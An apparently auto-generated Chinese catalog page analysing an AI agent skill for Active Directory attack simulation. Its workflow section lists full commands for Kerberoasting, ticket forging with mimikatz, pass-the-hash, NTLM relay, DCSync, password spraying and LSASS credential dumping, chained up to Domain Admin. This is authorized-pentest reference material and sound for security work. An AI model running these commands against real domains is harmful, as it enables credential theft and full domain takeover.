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executing-active-directory-attack-simulation

来源声明

Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, and delegation abuse. Activates for requests involving Active Directory pentest, AD attack simulation, domain compromise testing, or Kerberos attack assessment.

保留作者的英文原始描述。它表达设计意图,不代表已验证的实际效果。

Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, and delegation abuse. Activates for requests involving Active Directory pentest, AD attack simulation, domain compromise testing, or Kerberos attack assessment.

developmentreferencesscripts

研究摘要

机器生成分析,等待人工复核

以下观察来自确定性源码解析,不代表人工安全审查或受控任务评估。

来源描述:Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, and delegation abuse. Activates for requests involving Active Directory pentest, AD attack simulation, domain compromise testing, or Kerberos attack assessment. 此双语摘要由所收集的源文本和文件结构确定性地生成,等待人工编辑复核。

审阅范围

对所收集的 SKILL.md 及辅助文本/代码进行确定性静态分析。机器辅助候选和发现等待人工编辑复核;不评估动态行为或效果。

可观察能力

  • Workflow[来源陈述;暂定,未测试。证据:skills/executing-active-directory-attack-simulation/SKILL.md:L62]
  • Step 1: Active Directory Reconnaissance[来源陈述;暂定,未测试。证据:skills/executing-active-directory-attack-simulation/SKILL.md:L64]
  • Step 2: BloodHound Attack Path Analysis[来源陈述;暂定,未测试。证据:skills/executing-active-directory-attack-simulation/SKILL.md:L75]
  • Step 3: Kerberos Attacks[来源陈述;暂定,未测试。证据:skills/executing-active-directory-attack-simulation/SKILL.md:L90]
  • Step 4: Credential Attacks and Lateral Movement[来源陈述;暂定,未测试。证据:skills/executing-active-directory-attack-simulation/SKILL.md:L100]
  • Step 5: Privilege Escalation to Domain Admin[来源陈述;暂定,未测试。证据:skills/executing-active-directory-attack-simulation/SKILL.md:L111]

限制与范围

  • 静态分析无法评估运行时行为、命令是否成功、网络可达性或模型输出质量。
  • 未执行任何命令、脚本、网络请求、模型调用或受控技能测试。
  • 类别、标签、能力、工作流程和双语编辑摘要均为待人工复核的确定性候选,并非已验证结果。
  • 在后续管线实际执行并记录官方模型专用计数之前,无法提供精确 token 数。

适用读者

  • 评估是否检查并安装该来源技能的实践者;此受众由产品语境推断,并非测量得到的使用情况。[证据:skills/executing-active-directory-attack-simulation/SKILL.md:L1-L40]

技能包含哪些内容

文件清单来自记录提交中的采集源码。路径与大小属于结构观察,不代表质量评价。

个文件
4
Markdown 文件
2
个脚本
1
个引用
1
大小
32.3 KB
结构复杂度
低

文件清单

路径类型字节
skills/executing-active-directory-attack-simulation/LICENSE其他11 KB
skills/executing-active-directory-attack-simulation/references/api-reference.md引用2 KB
skills/executing-active-directory-attack-simulation/scripts/agent.py脚本5.9 KB
skills/executing-active-directory-attack-simulation/SKILL.md指令13.4 KB

SKILL.md 前置元数据

{
  "name": "executing-active-directory-attack-simulation",
  "description": "Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, and delegation abuse. Activates for requests involving Active Directory pentest, AD attack simulation, domain compromise testing, or Kerberos attack assessment.\n",
  "domain": "cybersecurity",
  "subdomain": "penetration-testing",
  "tags": [
    "Active-Directory",
    "BloodHound",
    "Mimikatz",
    "Kerberoasting",
    "domain-compromise"
  ],
  "version": "1.0.0",
  "author": "mahipal",
  "license": "Apache-2.0",
  "d3fend_techniques": [
    "Application Protocol Command Analysis",
    "Network Isolation",
    "Network Traffic Analysis",
    "Client-server Payload Profiling",
    "Network Traffic Community Deviation"
  ],
  "nist_csf": [
    "ID.RA-01",
    "ID.RA-06",
    "GV.OV-02",
    "DE.AE-07"
  ],
  "mitre_attack": [
    "T1595",
    "T1190",
    "T1059",
    "T1078",
    "T1003"
  ]
}

对运行顺序的一种解读

此工作流根据源码材料重建表面顺序。除非明确记录受控评估,否则它属于暂定解读,而非真实运行轨迹。

  1. 01
    判断

    When to Use

    来源描述的决策候选,位于“When to Use”;未经执行验证。

  2. 02
    操作

    Workflow

    来源描述的步骤候选,位于“Workflow”;未经执行验证。

  3. 03
    操作

    Step 1: Active Directory Reconnaissance

    来源描述的步骤候选,位于“Step 1: Active Directory Reconnaissance”;未经执行验证。

  4. 04
    操作

    Domain enumeration: `Get-ADDomain` or `crackmapexec smb <dcip> -u <user> -p <pass> --domains` to identify domain name, functional level, domain controllers, and forest trusts

    来源描述的步骤候选,位于“Step 1: Active Directory Reconnaissance”;未经执行验证。

  5. 05
    操作

    User enumeration: `Get-ADUser -Filter -Properties ServicePrincipalName,AdminCount,PasswordLastSet` to identify service accounts, privileged accounts, and stale passwords

    来源描述的步骤候选,位于“Step 1: Active Directory Reconnaissance”;未经执行验证。

  6. 06
    操作

    Group enumeration: Map membership of high-value groups (Domain Admins, Enterprise Admins, Schema Admins, Account Operators, Backup Operators) using `net group "Domain Admins" /domain`

    来源描述的步骤候选,位于“Step 1: Active Directory Reconnaissance”;未经执行验证。

查看全部工作流候选节点 (50 个候选步骤)
  1. 07
    操作

    GPO enumeration: `Get-GPO -All | Get-GPOReport -ReportType XML` to identify Group Policy configurations including password policies, audit settings, and software deployment

    来源描述的步骤候选,位于“Step 1: Active Directory Reconnaissance”;未经执行验证。

  2. 08
    操作

    Trust enumeration: `nltest /domaintrusts /alltrusts` to map inter-domain and inter-forest trusts, noting trust direction and transitivity

    来源描述的步骤候选,位于“Step 1: Active Directory Reconnaissance”;未经执行验证。

  3. 09
    操作

    LDAP queries: Use `ldapsearch` or ADExplorer to search for accounts with `userAccountControl` flags indicating "password never expires", "password not required", or "DES-only Kerberos"

    来源描述的步骤候选,位于“Step 1: Active Directory Reconnaissance”;未经执行验证。

  4. 10
    操作

    Step 2: BloodHound Attack Path Analysis

    来源描述的步骤候选,位于“Step 2: BloodHound Attack Path Analysis”;未经执行验证。

  5. 11
    操作

    Run SharpHound collector: `SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\` to collect users, groups, sessions, ACLs, trusts, and GPO data

    来源描述的步骤候选,位于“Step 2: BloodHound Attack Path Analysis”;未经执行验证。

  6. 12
    输入

    Import the JSON output into BloodHound and run built-in queries:

    来源描述的步骤候选,位于“Step 2: BloodHound Attack Path Analysis”;未经执行验证。

  7. 13
    操作

    "Shortest Paths to Domain Admins from Owned Principals"

    来源描述的步骤候选,位于“Step 2: BloodHound Attack Path Analysis”;未经执行验证。

  8. 14
    操作

    "Find Principals with DCSync Rights"

    来源描述的步骤候选,位于“Step 2: BloodHound Attack Path Analysis”;未经执行验证。

  9. 15
    操作

    "Find Computers where Domain Users are Local Admin"

    来源描述的步骤候选,位于“Step 2: BloodHound Attack Path Analysis”;未经执行验证。

  10. 16
    操作

    "Shortest Paths to Unconstrained Delegation Systems"

    来源描述的步骤候选,位于“Step 2: BloodHound Attack Path Analysis”;未经执行验证。

  11. 17
    操作

    "Find All Paths from Kerberoastable Users"

    来源描述的步骤候选,位于“Step 2: BloodHound Attack Path Analysis”;未经执行验证。

  12. 18
    操作

    Mark the compromised user as "owned" in BloodHound and analyze the resulting attack paths

    来源描述的步骤候选,位于“Step 2: BloodHound Attack Path Analysis”;未经执行验证。

  13. 19
    操作

    Identify ACL-based attack paths: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword on high-value objects

    来源描述的步骤候选,位于“Step 2: BloodHound Attack Path Analysis”;未经执行验证。

  14. 20
    操作

    Document each identified attack path with the chain of relationships and affected objects

    来源描述的步骤候选,位于“Step 2: BloodHound Attack Path Analysis”;未经执行验证。

  15. 21
    操作

    Step 3: Kerberos Attacks

    来源描述的步骤候选,位于“Step 3: Kerberos Attacks”;未经执行验证。

  16. 22
    操作

    Kerberoasting: Request TGS tickets for accounts with SPNs: `impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dcip> -request -outputfile kerberoast.hashes`. Crack offline with `hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt`

    来源描述的步骤候选,位于“Step 3: Kerberos Attacks”;未经执行验证。

  17. 23
    操作

    AS-REP Roasting: Target accounts without Kerberos pre-authentication: `impacket-GetNPUsers <domain>/ -dc-ip <dcip> -usersfile users.txt -format hashcat -outputfile asrep.hashes`. Crack with `hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt`

    来源描述的步骤候选,位于“Step 3: Kerberos Attacks”;未经执行验证。

  18. 24
    判断

    Silver Ticket: If a service account's NTLM hash is cracked, forge a TGS ticket for that service using `impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username>`

    来源描述的决策候选,位于“Step 3: Kerberos Attacks”;未经执行验证。

  19. 25
    判断

    Golden Ticket: If the krbtgt hash is obtained (post-domain compromise), forge a TGT: `mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"`

    来源描述的决策候选,位于“Step 3: Kerberos Attacks”;未经执行验证。

  20. 26
    操作

    Unconstrained Delegation abuse: Identify computers with unconstrained delegation. Coerce authentication from a Domain Controller using PrinterBug or PetitPotam, then capture the DC's TGT from memory.

    来源描述的步骤候选,位于“Step 3: Kerberos Attacks”;未经执行验证。

  21. 27
    操作

    Step 4: Credential Attacks and Lateral Movement

    来源描述的步骤候选,位于“Step 4: Credential Attacks and Lateral Movement”;未经执行验证。

  22. 28
    操作

    Pass-the-Hash: `impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>` to execute commands on systems where the compromised account has local admin

    来源描述的步骤候选,位于“Step 4: Credential Attacks and Lateral Movement”;未经执行验证。

  23. 29
    输出

    Pass-the-Ticket: `export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass` to use captured or forged Kerberos tickets

    来源描述的步骤候选,位于“Step 4: Credential Attacks and Lateral Movement”;未经执行验证。

  24. 30
    操作

    NTLM Relay: Configure `impacket-ntlmrelayx -t ldap://<dcip> --escalate-user <user>` and coerce authentication to relay NTLM credentials for privilege escalation

    来源描述的步骤候选,位于“Step 4: Credential Attacks and Lateral Movement”;未经执行验证。

  25. 31
    判断

    DCSync: If DCSync rights are obtained (Replicating Directory Changes): `impacket-secretsdump <domain>/<user>:<pass>@<dcip> -just-dc-ntlm` to dump all domain password hashes

    来源描述的决策候选,位于“Step 4: Credential Attacks and Lateral Movement”;未经执行验证。

  26. 32
    操作

    Password spraying: `crackmapexec smb <dcip> -u users.txt -p 'Winter2025!' --no-bruteforce` testing one password across all accounts to avoid lockouts

    来源描述的步骤候选,位于“Step 4: Credential Attacks and Lateral Movement”;未经执行验证。

  27. 33
    操作

    LSASS dump: On compromised hosts, extract credentials from LSASS memory using `mimikatz "sekurlsa::logonpasswords"` or `procdump -ma lsass.exe lsass.dmp` followed by offline extraction

    来源描述的步骤候选,位于“Step 4: Credential Attacks and Lateral Movement”;未经执行验证。

  28. 34
    操作

    Step 5: Privilege Escalation to Domain Admin

    来源描述的步骤候选,位于“Step 5: Privilege Escalation to Domain Admin”;未经执行验证。

  29. 35
    操作

    Follow the shortest path identified in BloodHound by executing each relationship (e.g., GenericWrite on a user -> set SPN -> Kerberoast -> crack password -> user is member of a group with WriteDACL on Domain Admins -> grant self membership)

    来源描述的步骤候选,位于“Step 5: Privilege Escalation to Domain Admin”;未经执行验证。

  30. 36
    判断

    Exploit Group Policy Preferences (GPP) passwords if found: `crackmapexec smb <dcip> -u <user> -p <pass> -M gppautologon`

    来源描述的决策候选,位于“Step 5: Privilege Escalation to Domain Admin”;未经执行验证。

  31. 37
    判断

    Target LAPS (Local Administrator Password Solution) if deployed: query LAPS passwords with `Get-ADComputer -Filter -Properties ms-Mcs-AdmPwd`

    来源描述的决策候选,位于“Step 5: Privilege Escalation to Domain Admin”;未经执行验证。

  32. 38
    操作

    Abuse certificate services (AD CS) with Certipy: `certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dcip>` to find exploitable certificate templates (ESC1-ESC8)

    来源描述的步骤候选,位于“Step 5: Privilege Escalation to Domain Admin”;未经执行验证。

  33. 39
    操作

    Document the complete attack chain from initial user to Domain Admin with every credential, tool, and technique used

    来源描述的步骤候选,位于“Step 5: Privilege Escalation to Domain Admin”;未经执行验证。

  34. 40
    操作

    Key Concepts

    来源描述的步骤候选,位于“Key Concepts”;未经执行验证。

  35. 41
    操作

    Tools & Systems

    来源描述的步骤候选,位于“Tools & Systems”;未经执行验证。

  36. 42
    操作

    Common Scenarios

    来源描述的步骤候选,位于“Common Scenarios”;未经执行验证。

  37. 43
    输入

    Run SharpHound to collect AD relationship data and import into BloodHound

    来源描述的步骤候选,位于“Scenario: Domain Compromise Assessment for a Healthcare Organization”;未经执行验证。

  38. 44
    操作

    BloodHound reveals a path: owned user -> member of IT-Support group -> GenericAll on SVC-SQL account -> SVC-SQL has SPN -> Kerberoast -> SVC-SQL is local admin on DB-SERVER-01 -> DB-SERVER-01 has a Domain Admin session

    来源描述的步骤候选,位于“Scenario: Domain Compromise Assessment for a Healthcare Organization”;未经执行验证。

  39. 45
    操作

    Kerberoast SVC-SQL, crack the weak password (Summer2023!) in 12 minutes using hashcat

    来源描述的步骤候选,位于“Scenario: Domain Compromise Assessment for a Healthcare Organization”;未经执行验证。

  40. 46
    操作

    Use SVC-SQL credentials to access DB-SERVER-01 via psexec

    来源描述的步骤候选,位于“Scenario: Domain Compromise Assessment for a Healthcare Organization”;未经执行验证。

  41. 47
    操作

    Extract Domain Admin credentials from LSASS memory on DB-SERVER-01

    来源描述的步骤候选,位于“Scenario: Domain Compromise Assessment for a Healthcare Organization”;未经执行验证。

  42. 48
    操作

    Validate domain compromise by performing DCSync to dump all domain hashes

    来源描述的步骤候选,位于“Scenario: Domain Compromise Assessment for a Healthcare Organization”;未经执行验证。

  43. 49
    输出

    Report the complete attack chain with remediation: set 25+ character passwords on service accounts, enable AES-only Kerberos encryption, remove unnecessary local admin rights, implement tiered administration

    来源描述的步骤候选,位于“Scenario: Domain Compromise Assessment for a Healthcare Organization”;未经执行验证。

  44. 50
    输出

    Output Format

    来源描述的步骤候选,位于“Output Format”;未经执行验证。

潜在风险面

静态发现用于提示安装前需要检查的位置,不能证明一项技能安全、恶意或有效。

建议重点关注

收集的文本中有 37 项确定性词法发现需要复核。发现可能仅位于文档中,不证明已执行或可被利用;仅含二进制的文件未扫描。

网络访问已观察到
文件写入已观察到
凭据使用已观察到
提示

文本描述或实现了文件修改

30 次命中

此行包含可能的文件写入或重定向操作。应检查目标路径和覆盖行为;静态审查没有写入任何文件。 该规则在收集文本中命中 30 处;此处列出 3 个代表位置。命中文本可能只是文档,分析器没有执行它。

高

文本引用凭据或密钥材料

4 次命中

此行疑似凭据字面值,或读取敏感环境变量。请勿暴露其内容;应核实它是占位符、所需密钥,还是误提交的敏感材料。 该规则在收集文本中命中 4 处;此处列出 3 个代表位置。命中文本可能只是文档,分析器没有执行它。

高

文本描述或实现了文件删除

此行包含删除语法,也可能只是文档示例。应检查确切目标、递归范围和保护措施。分析器没有执行该命令。 该规则在收集文本中命中 1 处;此处列出 1 个代表位置。命中文本可能只是文档,分析器没有执行它。

上下文可能消耗在哪里

发现、激活与资源层具有不同含义。只有使用指定官方方法并记录模型的运行时,才显示精确数值。

精确 token 计数不可用

在管线使用明确模型执行官方精确计数之前,包括文件清单在内的所有 token 值均为 null。

未使用要求的官方方法记录 token 测量。本档案不会用字符数、文件大小或估计值替代。

受控评估

没有受控评估

该技能仅具备以上标明的证据。不声称任何任务成功率、token 效率、延迟或质量优势。

尚未测试

在源码可见的情况下使用

安装命令
Inspect the pinned source at https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/54a798831d2266a3ca61ce68a7acb80b81160d57/skills/executing-active-directory-attack-simulation/SKILL.md and follow the source repository's installation instructions. No installation was performed or verified by this static analyzer. Source license: Apache-2.0.

前置条件

  • 静态分析无法评估运行时行为、命令是否成功、网络可达性或模型输出质量。
  • 未执行任何命令、脚本、网络请求、模型调用或受控技能测试。
  • 类别、标签、能力、工作流程和双语编辑摘要均为待人工复核的确定性候选,并非已验证结果。
  • 在后续管线实际执行并记录官方模型专用计数之前,无法提供精确 token 数。

示例提示词

未提供

附上限制条件的判断

优势

  • 快照包含 4 个收集文件、2 个 Markdown 文件和 1 个脚本文件,可进行源代码级检查。[证据:skills/executing-active-directory-attack-simulation/SKILL.md:L1]

注意事项

  • 尚未确立功能、安全或模型质量结果。安装或发布前,人工复核必须检查源代码上下文和所有引用发现。
研究结论

仅为暂定的确定性静态清单;等待人工编辑复核以及独立的受控评估。不构成安装建议、安全保证或有效性声明。

从结构上保持可追溯

档案是对公开工件的限时阅读,而非背书。请通过来源链接检查确切的上游材料。

mukul975Anthropic-Cybersecurity-Skillsskills/executing-active-directory-attack-simulation
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54a798831d2266a3ca61ce68a7acb80b81160d57
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2026年11月20日
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2026年11月20日
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